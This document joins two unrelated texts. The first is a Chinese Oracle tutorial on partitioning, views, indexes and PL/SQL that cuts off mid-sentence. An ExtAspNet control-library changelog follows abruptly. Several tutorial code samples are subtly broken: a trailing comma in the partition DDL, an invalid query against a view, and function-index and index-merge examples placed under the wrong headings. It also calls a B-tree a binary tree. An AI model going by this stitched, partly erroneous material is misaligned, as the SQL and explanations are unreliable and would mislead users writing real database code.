--- 8i 1. 范围分区 范围分区将数据基于范围映射到每一个分区,这个范围是你在创建分区时指定的分区键决定的。这种分区方式是最为常用的,并且分区键经常采用日期。  特点:  最早、最经典的分区算法  Range分区通过对分区字段值的范围进行分区  Range分区特别适合于按时间周期进行数据的存储。日、周、月、年等。  数据管理能力强(数据迁移、数据备份、数据交换)  范围分区的数据可能不均匀  范围分区与记录值相关,实施难度和可维护性相对较差  例子  按值划分 --创建 CREATE TABLE book ( bookid NUMBER(5), bookname VARCHAR2(30), price NUMBER(8) )PARTITION BY RANGE (price)--分区字段 ( PARTITION P1 VALUES LESS THAN (4) TABLESPACE system, PARTITION P2 VALUES LESS THAN (8) TABLESPACE system, PARTITION P3 VALUES LESS THAN (maxvalue) TABLESPACE system, ) --MAXVALUE代表了一个不确定的值,这个值高于其它分区中的任何分区键的值  按日期划分 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE (birthday)--分区字段 ( PARTITION P1990 VALUES LESS THAN (to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system, PARTITION P1991 VALUES LESS THAN (to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ); 2. Hash分区(散列分区) 这类分区是在列值上使用散列算法,以确定将行放入哪个分区中。当列的值没有合适的条件时,建议使用散列分区。散列分区为通过指定分区编号来均匀分布数据的一种分区类型。如果你要使用hash分区,只需指定分区的数量即可。建议分区的数量采用2的n次方,这样可以使得各个分区间数据分布更加均匀。  特点  基于分区字段的HASH值,自动将记录插入到指定分区。  分区数一般是2的幂  易于实施  总体性能最佳  适合于静态数据  HASH分区适合于数据的均匀存储  数据管理能力弱  HASH分区对数据值无法控制  例子 CREATE TABLE classes ( clsno NUMBER(5), clsname VARCHAR2(30) )PARTITION BY HASH(clsno)--分区字段 ( PARTITION ph1 tablespace system, PARTITION ph2 tablespace system ) 3. List分区(列表分区) 该分区的特点是某列的值只有几个,基于这样的特点我们可以采用列表分区。  特点  List分区通过对分区字段的离散值进行分区  List分区是不排序的,而且分区之间也没有关联  List分区适合于对数据离散值进行控制  List分区只支持单个字段  List分区具有与range分区相似的优缺点  数据管理能力强  各分区的数据可能不均匀  例子 CREATE TABLE users ( userid NUMBER(5), username VARCHAR2(30), province char(5) )PARTITION BY list(province)--分区字段 ( PARTITION pl1 values('广东') tablespace system, PARTITION pl2 values('江西') tablespace system, PARTITION pl3 values('广西') tablespace system, PARTITION pl4 values('湖南') tablespace system ); 4. 组合分区 常见的组合分区主要有范围散列分区和范围列表分区  特点  既适合于历史数据,又适合于数据均匀分布  与范围分区一样提供高可用性和管理性  实现粒度更细的操作  组合范围列表分区 这种分区是基于范围分区和列表分区,表首先按某列进行范围分区,然后再按某列进行列表分区,分区之中的分区被称为子分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date, province char(5) )PARTITION BY RANGE (birthday) --主分区字段 subpartition BY LIST(province)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION pl1 values('广东') tablespace system, SUBPARTITION pl2 values('江西') tablespace system, SUBPARTITION pl3 values('广西') tablespace system, SUBPARTITION pl4 values('湖南') tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION p21 values('广东') tablespace system, SUBPARTITION p22 values('江西') tablespace system, SUBPARTITION p23 values('广西') tablespace system, SUBPARTITION p24 values('湖南') tablespace system ) );  组合范围散列分区 这种分区是基于范围分区和散列分区,表首先按某列进行范围分区,然后再按某列进行散列分区。  例子 CREATE TABLE student ( stuno NUMBER(5), stuname VARCHAR2(30), birthday date )PARTITION BY RANGE(birthday) --主分区字段 SUBPARTITION BY HASH(stuno)--子分区字符 ( PARTITION P1990 VALUES LESS THAN(to_date('1990-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph12 tablespace system, SUBPARTITION ph13 tablespace system ), PARTITION P1991 VALUES LESS THAN(to_date('1991-01-01','yyyy-mm-dd')) TABLESPACE system ( SUBPARTITION ph21 tablespace system, SUBPARTITION ph22 tablespace system ) ); 5. 表分区常用操作  添加分区 --添加主分区 alter table book add partition p4 values less than(maxvalue) tablespace system --添加子分区 ALTER TABLE student MODIFY PARTITION P1990 ADD SUBPARTITION pl5 values('福建')  删除分区 --删除主分区 ALTER TABLE student DROP PARTITION P1990 --删除子分区 ALTER TABLE student DROP SUBPARTITION p15  重命名表分区 ALTER TABLE student RENAME PARTITION P21 TO P2  显示数据库所有分区表的信息 select * from DBA_PART_TABLES  显示当前用户所有分区表的信息 select * from USER_PART_TABLES  查询指定表分区数据 select * from users partition(pl2)--主分区 select * from users subpartition(phl2)--子分区  删除分区表一个分区的数据 alter table book truncate partition p11   第六章 视图 一、 概述 视图是基于一个表或多个表或视图的逻辑表,本身不包含数据,通过它可以对表里面的数据进行查询和修改。视图基于的表称为基表。视图是存储在数据字典里的一条select语句。 通过创建视图可以提取数据的逻辑上的集合或组合。  为什么使用视图  控制数据访问  简化查询  数据独立性  避免重复访问相同的数据  使用修改基表的最大好处是安全性,即保证那些能被任意人修改的列的安全性  Oracle中视图分类  关系视图  内嵌视图  对象视图  物化视图 二、 关系视图 关系视图是作为数据库对象存在的,创建之后也可以通过工具或数据字典来查看视图的相关信息。关系视图是4种视图中最简单,同时也最常用的视图。  语法 CREATE [OR REPLACE] [FORCE|NOFORCE] VIEW view_name [(alias[, alias]...)] AS subquery [WITH CHECK OPTION [CONSTRAINT constraint]] [WITH READ ONLY] 1. OR REPLACE:若所创建的试图已经存在,ORACLE自动重建该视图 2. FORCE:不管基表是否存在ORACLE都会自动创建该视图 3. NOFORCE:只有基表都存在ORACLE才会创建该视图 4. Alias:为视图产生的列定义的别名 5. subquery:一条完整的SELECT语句,可以在该语句中定义别名 6. WITH CHECK OPTION:插入或修改的数据行必须满足视图定义的约束 7. WITH READ ONLY:该视图上不能进行任何DML操作  例子 create or replace view view_Account_dept as select * from emp where deptno=10 --只读视图 create or replace view view_Account_dept as select * from emp where deptno=10 order by sal with read only --约束视图 create or replace view view_Account_dept as select * from emp where deptno=10 with check option  查询视图 select * from emp where view_Account_dept  修改视图 通过OR REPLACE 重新创建同名视图即可  删除视图 DROP VIEW VIEW_NAME语句删除视图  视图上的DML 操作原则 1. 简单视图可以执行DML操作; 2. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字时不能执行delete语句 3. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式时不能执行update语句 4. 在视图包含GROUP函数,GROUP BY子句,DISTINCT关键字,ROWNUM为例,列定义为表达式,表中非空的列子视图定义中未包括时不能执行insert语句 5. 可以使用WITH READ ONLY来屏蔽DML操作 三、 内嵌视图 内嵌视图是在from语句中的可以把表改成一个子查询。内嵌视图不属于任何用户,也不是对象,内嵌视图是子查询的一种。  例子 Select * from (select * from emp where deptno=10) where sal>2000 四、 对象视图 对象类型在数据库编程中有许多好处,但有时,应用程序已经开发完成。为了迎合对象类型而重建数据表是不现实的。对象视图正是解决这一问题的优秀策略。 五、 物化视图 常用于数据库的容灾,不是传统意义上虚拟视图,是实体化视图,和表一样可以存储数据、查询数据。主备数据库数据同步通过物化视图实现,主备数据库通过data link连接,在主备数据库物化视图进行数据复制。当主数据库垮掉时,备数据库接管,实现容灾。  语法 create materialized view materialized_view_name build [immediate|deferred] --1.创建方式 refresh [complete|fast|force|never] --2.物化视图刷新方式 on [commit|demand] --3.刷新触发方式 start with (start_date) --4.开始时间 next (interval_date) --5.间隔时间 with [primary key|rowid] --默认 primary key ENABLE QUERY REWRITE --7.是否启用查询重写 as --8.关键字 select statement; --9.基表选取数据的select语句 1. 创建方式  immediate(默认):立即  deferred:延迟,至第一次refresh时,才生效 2. 物化视图刷新方式  force(默认):如果可以快速刷新,就执行快速刷新,否则,执行完全刷新  complete:完全刷新,即刷新时更新全部数据,包括视图中已经生成的原有数据  fast:快速刷新,只刷新增量部分。前提是,需要在基表上创建物化视图日志。该日志记录基表数据变化情况,所以才能实现增量刷新  never:从不刷新 3. 刷新触发方式  on commit:基表有commit动作时,刷新视图,不能跨库执行(因为不知道别的库的提交动作)  on demand,在需要时刷新,根据后面设定的起始时间和时间间隔进行刷新,或者手动调用dbms_mview包中的过程刷新时再执行刷新。 4. 开始时间和间隔时间  4和5即开始刷新时间和下次刷新的时间间隔。如:start with sysdate next sysdate+1/1440表示马上开始,刷新间隔为1分钟。(与 on commit选项冲突) 5. 创建模式  primary key(默认):基于基表的主键创建  rowed:不能对基表执行分组函数、多表连结等需要把多个rowid合成一行的操作 6. 是否启用查询重写  如果设置了初始化参数query_rewrite_enabled=true则默认就会启用查询重写。但是,数据库默认该参数为false。并且,不是什么时候都应该启用查询重写。所以,该参数应该设置为false,而在创建特定物化视图时,根据需要开启该功能。 7. 注意  如果选择使用了上面第4,5选项,则不支持查询重写功能(原因很简单,所谓重写,就是将对基表的查询定位到了物化视图上,而4、5选项会造成物化视图上部分数据延迟,所以,不能重写)。  例子 --创建增量刷新的物化视图时应先创建存储的日志空间 --在scott.emp表中创建物化视图日志 create materialized view log on emp tablespace users with rowid; --开始创建物化视图 --方式一 create materialized view mv_emp tablespace users --指定表空间 build immediate --创建视图时即生成数据 refresh fast --基于增量刷新 on commit --数据DML操作提交就刷新 with rowid --基于ROWID刷新 as select * from emp --方式二 create materialized view mv_emp2 tablespace users --指定表空间 refresh fast --基于增量刷新 start with sysdate --创建视图时即生成数据 next sysdate+1/1440 /*每隔一分钟刷新一次*/ with rowid --基于ROWID刷新 as select * from emp --删除物化视图日志 drop materialized view mv_emp   第七章 索引 一、 概述 索引是建立在表上的可选对象,设计索引的目的是为了提高查询的速度。但同时索引也会增加系统的负担,进行影响系统的性能。 索引一旦建立后,当在表上进行DML操作时,Oracle会自动维护索引,并决定何时使用索引。 索引的使用对用户是透明的,用户不需要在执行SQL语句时指定使用哪个索引及如何使用索引,也就是说,无论表上是否创建有索引,SQL语句的用法不变。用户在进行操作时,不需要考虑索引的存在,索引只与系统性能相关。  索引的原理 当在一个没有创建索引的表中查询符合某个条件的记录时,DBMS会顺序地逐条读取每个记录与查询条件进行匹配,这种方式称为全表扫描。全表扫描方式需要遍历整个表,效率很低。  索引的类型 Oracle支持多种类型的索引,可以按列的多少、索引值是否唯一和索引数据的组织形式对索引进行分类,以满足各种表和查询条件的。  单列索引和复合索引  B树索引  位图索引  函数索引  创建索引 CREATE [UNIQUE] | [BITMAP] INDEX index_name ON table_name([column1 [ASC|DESC],column2 [ASC|DESC],…] | [express]) [TABLESPACE tablespace_name] [PCTFREE n1] [STORAGE (INITIAL n2)] [NOLOGGING] [NOLINE] [NOSORT]  UNIQUE:表示唯一索引,默认情况下,不使用该选项。  BITMAP:表示创建位图索引,默认情况下,不使用该选项。  PCTFREE:指定索引在数据块中的空闲空间。对于经常插入数据的表,应该为表中索引指定一个较大的空闲空间。  NOLOGGING:表示在创建索引的过程中不产生任何重做日志信息。默认情况下,不使用该选项。  ONLINE:表示在创建或重建索引时,允许对表进行DML操作。默认情况下,不使用该选项。  NOSORT:默认情况下,不使用该选项。则Oracle在创建索引时对表中记录进行排序。如果表中数据已经是按该索引顺序排列的,则可以使用该选项。 二、 单列索引和复合索引 一个索引可以由一个或多个列组成。基于单个列所创建的索引称为单列索引,基于两列或多列所创建的索引称为多列索引。 三、 B树索引 B树索引是Oracle数据库中最常用的一种索引。当使用CREATE INDEX语句创建索引时,默认创建的索引就是B树索引。B树索引就是一棵二叉树,它由根、分支节点和叶子节点三部分构成。叶子节点包含索引列和指向表中每个匹配行的ROWID值。叶子节点是一个双向链表,因此可以对其进行任何方面的范围扫描。 B树索引中所有叶子节点都具有相同的深度,所以不管查询条件如何,查询速度基本相同。另外,B树索引能够适应各种查询条件,包括精确查询、模糊查询和比较查询。  例子 --创建B树索引,属于单列索引 create index idx_emp_job on emp(job) --创建B树索引,属于复合索引 create index idx_emp_nameorsal on emp(ename,sal) --创建唯一的B树索引,属于单列索引 create unique index idx_emp_ename on emp(ename) --删除索引 drop index idx_emp_job drop index idx_emp_nameorsal drop index idx_emp_ename --如果表已存在大量的数据,需要规划索引段 create index idx_emp_nameorsal on emp(ename,sal) pctfree 30 tablespace system 四、 位图索引 在B树索引中,保存的是经排序过的索引列及其对应的ROWID值。但是对于一些基数很小的列来说,这样做并不能显著提高查询的速度。所谓基数,是指某个列可能拥有的不重复值的个数。比如性别列的基数为2(只有男和女)。 因此,对于象性别、婚姻状况、政治面貌等只具有几个固定值的字段而言,如果要建立索引,应该建立位图索引,而不是默认的B树索引。  例子 --创建位图索引,单列索引 create bitmap index idx_bm_job on emp(job) --创建位图索引,复合索引 create bitmap index idx_bm_jobordeptno on emp(job,deptno) --删除位图索引 drop index idx_bm_job drop index idx_bm_jobordeptno 五、 函数索引 函数索引既可以使用B树索引,也可以使用位图索引,可以根据函数或表达式的结果的基数大小来进行选择,当函数或表达式的结果不确定时采用B树索引,当函数或表达式的结果是固定的几个值时采用位图索引。  例子 --合并索引 alter index idx_emp_ename COALESCE 六、 并和重建索引 表在使用一段时间后,由于用户不断对其进行更新操作,而每次对表的更新必然伴随着索引的改变,因此,在索引中会产生大量的碎片,从而降低索引的使用效率。有两种方法可以清理碎片:合并索引和重建索引。  合并索引就是将B树叶子节点中的存储碎片合并在一起,从而提高存取效率,但这种合并并不会改变索引的物理组织结构。 --创建B树类型的函数索引 create index idx_fun_emp_hiredate on emp(to_char(hiredate,'yyyy-mm-dd')) --创建位图类型的函数索引 create index idx_fun_emp_job on emp(upper(job))  重建索引相当于删除原来的索引,然后再创建一个新的索引,因此,CREAT INDEX语句中的选项同样适用于重建索引。如果在索引列上频繁进行UPDATE和DELETE操作,为了提高空间的利用率,应该定期重建索引。 七、 管理索引的原则 使用索引的目的是为了提高系统的效率,但同时它也会增加系统的负担,进行影响系统的性能,因为系统必须在进行DML操作后维护索引数据。 在新的SQL标准中并不推荐使用索引,而是建议在创建表的时候用主键替代。因此,为了防止使用索引后反而降低系统的性能,应该遵循一些基本的原则: 1. 小表不需要建立索引。 2. 对于大表而言,如果经常查询的记录数目少于表中总记录数目的15%时,可以创建索引。这个比例并不绝对,它与全表扫描速度成反比。 3. 对于大部分列值不重复的列可建立索引。 4. 对于基数大的列,适合建立B树索引,而对于基数小的列适合建立位图索引。 5. 对于列中有许多空值,但经常查询所有的非空值记录的列,应该建立索引。 6. LONG和LONG RAW列不能创建索引。 7. 经常进行连接查询的列上应该创建索引。 8. 在使用CREATE INDEX语句创建查询时,将最常查询的列放在其他列前面。 9. 维护索引需要开销,特别时对表进行插入和删除操作时,因此要限制表中索引的数量。对于主要用于读的表,则索引多就有好处,但是,一个表如果经常被更改,则索引应少点。 10. 在表中插入数据后创建索引。如果在装载数据之前创建了索引,那么当插入每行时,Oracle都必须更改每个索引。 八、 ROWID和ROWNUM 1. ROWID rowid是一个伪列,是用来确保表中行的唯一性,它并不能指示出行的物理位置,但可以用来定位行。rowid是存储在索引中的一组既定的值(当行确定后)。我们可以像表中普通的列一样将它选出来, 利用rowid是访问表中一行的最快方式。rowid的是基于64位编码的18个字符显示(数据对象编号(6)+文件编号(3) +块编号(6)+行编号(3)=18位) select rowid from emp  ROWID的使用 --快速删除重复的记录 delete from temp t where rowid not in( select max(rowid) from temp where t.id=id and t.name=name and t.sal = sal ) 2. ROWNUM ROWNUM是一个序列,是oracle数据库从数据文件或缓冲区中读取数据的顺序。它取得第一条记录则rownum值为1,第二条为2,依次类推。 select rownum,emp.* from emp  ROWID的使用 --取前3条记录 select * from emp where rownum<=3--方式一 select * from emp where rownum!=4--方式二 --分页 select * from emp where empno not in( select empno from emp where rownum<5--方式一 ) and rownum <4   第八章 PL/SQL编程 一、 介绍 PL/SQL是oracle在标准sql语言上的扩展,PL/SQL不仅允许嵌入sql语言,还可以定义变量和常量,允许使用例外处理各种错误,这样使它的功能变得更加强大。 PL/SQL也是一种语言,叫做过程化sql语言(procedural language/sql),通过此语言可以实现复杂功能或者复杂的计算。  优点 1. 提高应用程序的运行性能 2. 模块化的设计思想 3. 减少网络传输量 4. 提高安全性  缺点 1. 可移植性差 2. 违反MVC设计模式 3. 无法进行面向对象编程 4. 无法做成通用的业务逻辑框架 5. 代码可读性差,相当难维护  分类 二、 PL/SQL基础 1. 编写规范 1) 注释 --单行注释 /*块注释*/ 2) 标识符的命名规范  定义变量:建议用v_作为前缀v_price  定义常量:建议用c_作为前缀c_pi  定义游标:建议用_cursor作为后缀emp_cursor  定义例外:建议用e_作为前缀e_error 2. 块结构 PL/SQL块由三个部分组成:定义部分、执行部分、例外处理部分 Declare /* 定义部分(可选):定义常量、变量、游标、例外,复杂数据类型 */ begin /* 执行部分(必须):要执行的PL/SQL语句和SQL语句 */ exception /*例外部分(可选):处理运行各种错误*/ end 案例一 :只定义执行部分 begin /* dbms_output是oracle提供的包(类似java开发包) 该包包含一些过程,put_line就是其一个过程 */ dbms_output.put_line('HELLO WORLD'); --控制台输出 end; 案例二 :定义声明部分和执行部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询 select ename,sal into v_name,v_sal from emp where rownum=1; --控制台输出 dbms_output.put_line('用户名:' || v_name); dbms_output.put_line('工资:' || v_sal); end; 案例三 :定义声明部分、执行部分和例外部分 declare --声明变量 v_name varchar2(20); v_sal number(7,2); begin --执行查询,条件中的&表示从控制接受数据 select ename,sal into v_name,v_sal from emp where empno=&no; --控制台输出 dbms_output.put_line('用户名:' || v_name); dbms_output.put_line('工资:' || v_sal); exception --例外处理(no_data_found) when no_data_found then dbms_output.put_line('执行查询没有结果'); end; 3. 预定义例外 1) case_not_found预定义例外 在开发pl/sql块中编写case语句时,如果在when子句中没有包含必须的条件分支,就会触发case_not_found例外。 2) cursor_already_open预定义例外 当重新打开已经打开的游标时,会隐含的触发cursor_already_open例外。 3) dup_val_on_index预定义例外 在唯一索引所对应的列上插入重复的值时,会隐含的触发例外 4) invalid_cursorn预定义例外 当试图在不合法的游标上执行操作时,会触发该例外 5) invalid_number预定义例外 当输入的数据有误时,会触发该例外 6) no_data_found预定义例外 当执行select into没有返回行,就会触发该例外 7) too_many_rows预定义例外 当执行select into语句时,如果返回超过了一行,则会触发该例外 8) zero_divide预定义例外 当执行2/0语句时,则会触发该例外 9) value_error预定义例外 当在执行赋值操作时,如果变量的长度不足以容纳实际数据,则会触发该例外value_error 10) others 4. 变量类型分类 在编写PL/SQL时,可以定义变量和常量,常用的类型主要有:  标量类型(scalar)  复合类型(composite)  参照类型(reference)  lob(large object) 5. 标量类型:常用类型 declare --定义一个变长字符串 v_name varchar2(20); --定义小数,并赋值 v_sal number(7,2) :=9.8; --定义整数 v_num number(4); --定义日期 v_birthday date; --定义布尔类型,不能为空,初始值为false v_flg boolean not null default false; --使用%type类型 v_job emp.job%type; begin v_flg := true; v_birthday :=sysdate; dbms_output.put_line('当前时间:' || v_birthday); end; 6. 复合类型:可以存放多个值。主要包括PL/SQL记录、PL/SQL表、嵌入表和varray这四种类型 记录类型:类似于c中的结构体 declare --定义记录类型 type emp_record_type is record( empno emp.empno%type, ename emp.ename%type, sal emp.sal%type ); --定义变量引用记录类型 v_record emp_record_type; begin --使用记录类型 select empno,ename,sal into v_record from emp where rownum=1; --控制台输出 dbms_output.put_line('雇员编号:' || v_record.empno); dbms_output.put_line('雇员姓名:' || v_record.ename); dbms_output.put_line('雇员工资:' || v_record.sal); end; 表类型:类似于java语言中的数组 declare --声明表类型 type emp_table_type is table of varchar2(20) index by PLS_INTEGER;--表示表按整数来排序 v_enames emp_table_type;--定义变量引用表类型 begin select ename into v_enames(0) from emp where rownum=1; select ename into v_enames(1) from emp where empno=7499; select ename into v_enames(2) from emp where empno=7698; --输出 dbms_output.put_line('下标0:' || v_enames(0)); dbms_output.put_line('下标1:' || v_enames(1)); dbms_output.put_line('下标2:' || v_enames(2)); end; varray类型:可变长数组 declare --定义varray类型 type varray_list is varray(20) of number(4); --定义变量引用varray类型 v_list varray_list:=varray_list(7369,7499,7566); begin --for i in v_list.first..v_list.last for i in 1..v_list.count loop dbms_output.put_line(v_list(i)); end loop; end; PL/SQL集合方法 1) exists():用于确定特定集合元素是否存在 2) count:用于返回集合变量的元素总个数 3) limit:用于返回varray变量所允许的最大元素个数 4) first:用于返回集合变量中的一个元素的下标 5) last:用于返回集合变量中最后一个元素的下标 6) prior():返回当前元素前一个元素的下标 7) next():返回当前元素后一个元素的下标 8) extend:为集合变量添加元素,此方法适合用于嵌套表和varray 9) trim:从集合变量尾部删除元素,此方法适用于嵌套表和varray 10) delete:从集合变量中删除特定的元素,此方法适用于嵌套表和index-by表 7. 参照类型:类似c语言中的指针,oracle的游标 三、 PL/SQL控制语句 1. 条件分支语句 1) if—then declare --声明变量 v_empno emp.empno%type; v_sal emp.sal%type; begin --根据雇员编号查询工资 select empno,sal into v_empno,v_sal from emp where empno=&no; --如果工资小于2000就加100 if v_sal<2000 then --工资加100 update emp set sal = sal+100 where empno=v_empno; --提交 commit; end if; end; 2) if—then—else declare --声明变量 v_loginname varchar2(10); v_password varchar2(10); begin --从控制台接收数据 v_loginname := '&ln'; v_password := '&pw'; if v_loginname = 'admin' and v_password = '123456' then dbms_output.put_line('用户登录成功!'); else dbms_output.put_line('用户登录失败!'); end if; end; 3) if—then—elsif—else declare --声明变量 v_empno emp.empno%type; v_job emp.job%type; begin --根据雇员编号查询职位 select empno,job into v_empno,v_job from emp where empno=&no; /*如果雇员所属职位是manager工资加1000 职位是salesman工资加500 其他职位加200 */ if v_job = 'MANAGER' then --MANAGER职位工资加1000 update emp set sal = sal+1000 where empno=v_empno; elsif v_job = 'SALESMAN' then --SALESMAN职位工资加500 update emp set sal = sal+500 where empno=v_empno; else --其他职位工资加200 update emp set sal = sal+200 where empno=v_empno; end if; --提交 commit; end; 4) case declare --声明变量 v_mark number(4); v_outstr varchar2(40); begin --从控制台接收成绩 v_mark := &m; case when v_mark=90 then v_outstr := '优秀'; when v_mark=80 then v_outstr := '良好'; when v_mark=70 then v_outstr := '中等'; when v_mark=60 then v_outstr := '及格'; when v_mark=0 then v_outstr := '不及格'; else v_outstr := '成绩输入有误'; end case; --控制台输出 dbms_output.put_line(v_outstr); end; 2. 循环语句 1) loop LOOP 要执行的语句; EXIT WHEN /*条件满足,退出循环语句*/ END LOOP; 其中:EXIT WHEN 子句是必须的,否则循环将无法停止。 declare v_num number(4):=1; begin --从控制台接收数据并插入到account表中 loop insert into account values(v_num,'&name'); exit when v_num =10; v_num :=v_num+1; end loop; end; 2) while WHILE LOOP要执行的语句;END LOOP; 其中:  循环语句执行的顺序是先判断的真假,如果为真则循环执行,否则退出循环  在WHILE循环语
ExtAspNet v2.2.1 ExtAspNet是一组专业的Asp.net控件库,拥有原生的AJAX支持和丰富的UI效果, 目标是创建没有JavaScript,没有CSS,没有UpdatePanel,没有WebServices的Web应用程序。 支持的浏览器: IE 7.0+, Firefox 3.0+, Chrome 2.0+, Opera 9.5+, Safari 3.0+ 注:ExtAspNet基于一些开源的程序ExtJS, HtmlAgilityPack, Nii.JSON, YUICompressor。 示例: http://extasp.net/ 开源: http://extaspnet.codeplex.com/ 博客: http://sanshi.cnblogs.com/ 邮箱: sanshi.ustc@gmail.com 发布历史: +2010-03-28 v2.2.1 +为TabStrip的GetAddTabReference函数增加重载方法,以便指定Tab的图标(feedback:mmdcup)。 -修正此函数通过PageContext.RegisterStartupScript调用时不能正确显示Icon的BUG(feedback:zhaowenke)。 -修正basic/hello.aspx示例在单独浏览器打开后,不能弹出对话框的BUG。 -隐藏示例首页最外层RegionPanel的边框ShowBorder="false"。 +集成Extjs最新版本v3.1.1。 -增加一个新的Theme - Access。 -修正了Firefox下Zoom In/Out时页面消失的BUG。 -删除Panel的EnableLightBackgroundColor属性,同时EnableBackgroundColor只支持Blue和Gray两种Theme。 +2010-01-31 v2.2.0 -使得Asp.net的控件ImageButton具有和Asp.net的Button控件类似的行为(Ajax提交)(feedback:261629698)。 +TabStrip增加GetAddTabReference和GetRemoveTabReference两个函数,用来向TabStrip控件动态增加删除Tab。 -增加示例tabstrip/tabstrip_addtab.aspx。 -重构了示例网站的架构,目前只有一层IFrame结构。 -为TabStrip增加EnableTabCloseMenu属性,是否启用右键菜单,可用来关闭当前Tab和所有其他Tab。 -为NumberBox增加DecimalPrecision属性,用来控制小数点后的位数(需要设置NoDecimal="false")(feedback:zqmars)。 -Window控件更新。 -关闭按钮默认直接关闭,不会弹出确认对话框。 -GetConfirmFormModifiedHideReference的函数中的ConfirmFormModified简化为Confirm,所以此函数更名为GetConfirmHideReference。 -增加两个属性EnableConfirmOnClose(默认false),CloseAction(Hide, HideRefresh, HidePostBack)。 -修正EnableMaximize属性不能使Window最大化的BUG,修正了双击标题栏不能最大化的BUG。 -删除Button控件的SystemIcon属性,比如以前这样定义SystemIcon="Close",现在需要这样定义Icon="SystemClose"。 -WindowPosition默认居中,而不是黄金分割位置。 +Button, Window等控件弹出位置属性的变化。 -Window的Target属性由字符串类型变为枚举类型,注意更新以前的代码:Target="_self" -> Target="Self", Target="_parent" -> Target="Parent"。 -MenuButton, LinkButton, Button, LinkButtonField的ConfirmTarget属性由字符串变为枚举类型,可以取三个枚举值Self, Parent, Top。 -Confirm.GetShowReference的最后一个参数target变为枚举类型。 -Alert.GetShowReference中的showInParent参数也变为Target枚举类型。 -MenuButton, LinkButton, Button, LinkButtonField增加ValidateTarget用来控制表单验证失败时提示对话框的显示位置。 +2010-01-06 v2.1.9 -集成Extjs最新版本v3.1.0。 -修正灰色皮肤的CSS问题。 -修正Grid的列名中不能包含中文字符的BUG(feedback:davidwen)。 -为Web.config和PageManager增加属性AjaxTimeout(单位秒,默认30秒)。 -修正了在Grid的PageIndexChange事件中不能获取SelectedRowIndexArray属性的BUG(feedback:Violet)。 -Button控件将不再自动拥有display:inline属性,如果希望两个按钮在一行显示,请为第一个按钮设置CssStyle="float:left;"属性。 -修正了弹出菜单的位置在Firefox下不正确的BUG(feedback:eroach)。 -为TriggerBox和TwinTriggerBox增加EnableEdit属性。 -使用Hidden来显示隐藏ExtAspNet控件,而不是使用Visible属性(Visible目前设置为只读属性)。 -使用Hidden控制Window控件的显示隐藏,Popup已经标记为Obsolete属性。 -Window的实例方法GetCloseReference等以及ActiveWindow的静态方法GetCloseReference等,其中的Close全部改为Hide。 -增加TabStrip中Tab控件可关闭属性EnableClose(默认为false)以及两个方法GetShowReference和GetHideReference(feedback:anson)。 -修正绑定到Tree的XMLDocument中Icon属性映射错误(feedback:nopnop9)。 -修正HtmlEditor不能编辑的BUG(feedback:TheBox)。 -修正IE下有时会出现空白页面的情况(feedback:olivia919)。 +2009-12-06 v2.1.8 -修正了使用IFrame的Window关闭后不能再次打开的BUG(feedback:alexa99)。 -修正了IE下Grid中的一个JS问题(feedback:lqm4108)。 -修正Alert消息中引号未编码导致的JS错误(feedback:sun1299shine)。 +集成extjs3.0.3。 -修正弹出对话框的宽度计算错误(会保持最小的状态)。 -增加新的皮肤Gray。 -为示例工程添加改变语言和皮肤的下拉列表。 -为PageContext增加静态函数Refresh,在切换语言和皮肤时使用。 +2009-12-01 v2.1.7 -增加示例(iframe/parent_postback_run3.aspx),如何通过简单的Javascript代码回发父页面(feedback:eroach)。 -修正一些书写错误(feedback:bmck)。 -从Region控件中删除SplitColor属性,增加CollapseMode, EnableSplitTip, SplitTip, CollapsibleSplitTip属性(feedback:bmck)。 -BorderPanel更名为RegionPanel。 -DropDownList拥有MarkInvalid方法(feedback:sun1299shine)。 -增加中国的省市县三级联动示例(data/shengshixian.aspx)(feedback:Blues T)。 -修正了使用IFrameUrl的Tab在切换过程中会重复加载的问题,这是一个在v2.1.6引入的问题(feedback:eroach)。 -修正了启用AutoPostBack的Grid,其RowClick会覆盖LinkButtonField, HyperLinkField, CheckBoxField的点击事件(feedback:yymaoji)。 +2009-11-26 v2.1.6 +修正动态创建Grid列的BUG(feedback:gxpan)。 -增加示例(data/grid_dynamic_columns.aspx)。 -修正Form不能自适应浏览器大小的改变(feedback:kaywood)(WorkItem#6309)。 -增加重载方法Alert.Show(message, title, icon)(feedback:TheBox)(WorkItem#6353)。 -为容器控件(比如Panel,Region,Tab等)增加AJAX属性IFrameUrl(feedback:BluesT)。 -重新设计模拟树的下拉列表的实现,避免选中某项后的闪烁。 +2009-11-21 v2.1.5 +Tree优化。 -修正Expanded项和Checked项的状态在回发改变后不能保持的BUG。 -GetNodeById更名为FindNode,保持和FindControl一致命名。 -删除CheckedNodeIDArray属性,增加GetCheckedNodes和GetCheckedNodeIDs函数。 -删除ExpandedNodeIDArray属性,增加GetExpandedNodes和GetExpandedNodeIDs函数。 -增加示例(data/tree_select_run.aspx),如何选中当前节点的所有子节点(feedback:wjl_wjl520)。 +TreeNode的属性NodeId被重命名为NodeID,这是ExtAspNet中的一个命名约定。 -同时更名的还有GridColumn的ColumnId->ColumnID,GetColumnId->GetColumnID。 -Grid1.Columns.FindColumnById函数被Grid1.FindColumn所替代。 -为TreeCheckEventArgs,TreeExpandEventArgs,TreeCommandEventArgs增加Node属性。 -为所有控件增加Focus(覆盖Control默认的Focus函数)和GetFocusReference函数。 -增加示例(other/custom_postback.aspx)(feedback:thebox)。 -如何自定义Javascript脚本和C#处理函数来响应键盘事件。 -为Tree增加AutoLeafIdentification属性。 -增加示例(tree_auto_leaf_identification.aspx)(feedback:wdrabbit)。 +2009-11-17 v2.1.4 -修正Window的关闭按钮提示信息一直是中文的BUG(feedback:thebox)。 -部分ExtAspNet控件的设计时支持(会在后续版本中逐步完善)。 